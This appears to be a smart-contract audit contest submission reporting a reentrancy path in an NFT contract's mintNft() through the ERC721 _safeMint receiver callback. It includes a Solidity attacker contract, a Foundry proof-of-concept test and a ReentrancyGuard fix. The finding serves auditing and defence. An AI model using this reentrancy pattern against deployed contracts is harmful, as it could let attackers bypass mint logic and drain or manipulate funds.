NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: low
Likelihood: medium

`mintNft()` is reentrant through ERC721 receiver callback (`_safeMint`)

Author Revealed upon completion

Description

Root + Impact

Normal behavior: mint flow should complete atomically without allowing callback-controlled reentry into state-changing mint logic.

Issue: mintNft() calls _safeMint, which invokes onERC721Received on contract recipients and allows nested calls to mintNft() in the same transaction.

Description Explanation

_safeMint is an external interaction point because recipient contracts are synchronously called back via onERC721Received. Without a reentrancy guard, recipient-controlled code can call back into mint logic before the original call stack fully unwinds.

Even when no direct theft is shown today, this breaks CEI assumptions and creates fragile behavior under future changes (e.g., additional accounting, incentives, or hooks during mint).

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
...
tokenIdCounter++;
collateralForMinting[tokenIdCounter] = lockAmount;
// @> External callback point can re-enter mintNft
_safeMint(msg.sender, tokenIdCounter);
}

Risk

Likelihood:

  • Triggered whenever recipient is a contract implementing ERC721 receiver.

  • Reentry occurs during normal ERC721 safe mint callback mechanics.

Impact:

  • Breaks CEI assumptions and increases attack surface for future logic additions.

  • Can produce unexpected nested state transitions in one transaction.

Proof of Concept

  1. Attacker deploys an ERC721 receiver contract and gets whitelisted.

  2. Attacker starts one mint call.

  3. During _safeMint, receiver callback re-enters mintNft().

  4. Two mints complete in one top-level transaction.

  5. Result demonstrates callable reentry path through mint callback surface.

contract MintReentrancyReceiver is IERC721Receiver {
NFTDealers internal immutable nftDealers;
MockUSDC internal immutable usdc;
uint256 internal immutable lockAmount;
uint256 internal targetMints;
uint256 internal minted;
​
constructor(NFTDealers _nftDealers, MockUSDC _usdc, uint256 _targetMints) {
nftDealers = _nftDealers;
usdc = _usdc;
lockAmount = _nftDealers.lockAmount();
targetMints = _targetMints;
}
​
function startAttack() external {
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
}
​
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
minted++;
​
// Re-enter mint during ERC721 receiver callback.
if (minted < targetMints) {
nftDealers.mintNft();
}
return IERC721Receiver.onERC721Received.selector;
}
}
​
// test/NFTDealersFindingsPoC.t.sol
function testPoC_MintAllowsReentrancyViaReceiverCallback() public {
MintReentrancyReceiver attacker = new MintReentrancyReceiver(nftDealers, usdc, 2);
vm.prank(owner);
nftDealers.whitelistWallet(address(attacker));
usdc.mint(address(attacker), 100e6);
​
attacker.startAttack();
​
assertEq(nftDealers.balanceOf(address(attacker)), 2);
assertEq(nftDealers.totalMinted(), 2);
}

Recommended Mitigation

nonReentrant blocks nested entry into mintNft() during receiver callback execution. This preserves single-entry semantics for each transaction and protects future mint-path logic from callback-driven state interleaving.

+import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
-contract NFTDealers is ERC721 {
+contract NFTDealers is ERC721, ReentrancyGuard {
-function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
+function mintNft() external payable onlyWhenRevealed onlyWhitelisted nonReentrant {

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!